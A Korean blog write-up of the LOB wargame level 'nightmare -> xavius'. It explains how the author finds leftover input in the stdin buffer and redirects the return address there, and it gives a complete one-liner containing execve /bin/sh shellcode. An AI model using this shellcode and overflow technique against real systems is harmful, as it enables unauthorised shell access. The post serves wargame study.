Profile

머리정리하는곳

c2w2m2

[Level19] nightmare -> xavius


코드를 보니 막막합니다....


스택 못쓰고 라이브러리 못쓰고 LD_* 못쓰고 바이너리이미지 못스고 그래놓곤 스택 다 지워 버리고


처음에는 진짜 막막하고 못풀듯 싶었는데... 코드를 보니 평소처럼 인자를 사용하는 방법이 아닌 stdin 을 이용해서 받더군요


stdin을 이용해서 받으면 이름이 기억은 안나는데 그쪽에 입력했던 값이 저장된다고 들었던 기억이 있어서 바로 확인해보았습니다.



저기 보이는 저 0x08049a3c 가 stdin 의 주소이니 저쪽으로 가보도록 하겠습니다. 


 


헉, 진짜 값이 남아있습니다!!!!!!!!!!


그럼 Ret를 저쪽으로 돌리고 저쪽에는 shellcode를 넣으면 되겠네요. 다만 0x40015000 에서 \x00 이 NULL 로 취급되지 않을까 해서 앞 4byte는 AAAA로 때우고 Ret를 0x40015004 로 돌리죠.



(python -c 'print "\x90"*4+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*15 + "\x04\x50\x01\x40"';cat) | ./xavius 

*stdin 을 이용한 입력이니 파이프를 사용해야 합니다.



클리어!

'Pwnable > LOB' 카테고리의 다른 글

[Level1] gate -> iron_golem  (0) 2017.05.19
[Level20] xavius -> death_knight  (0) 2017.05.18
[Level18] succubus -> nightmare  (0) 2017.05.18
[Level17] zombie_assassin -> succubus  (0) 2017.05.18
[Level16] assassin -> zombie_assassin  (0) 2017.05.17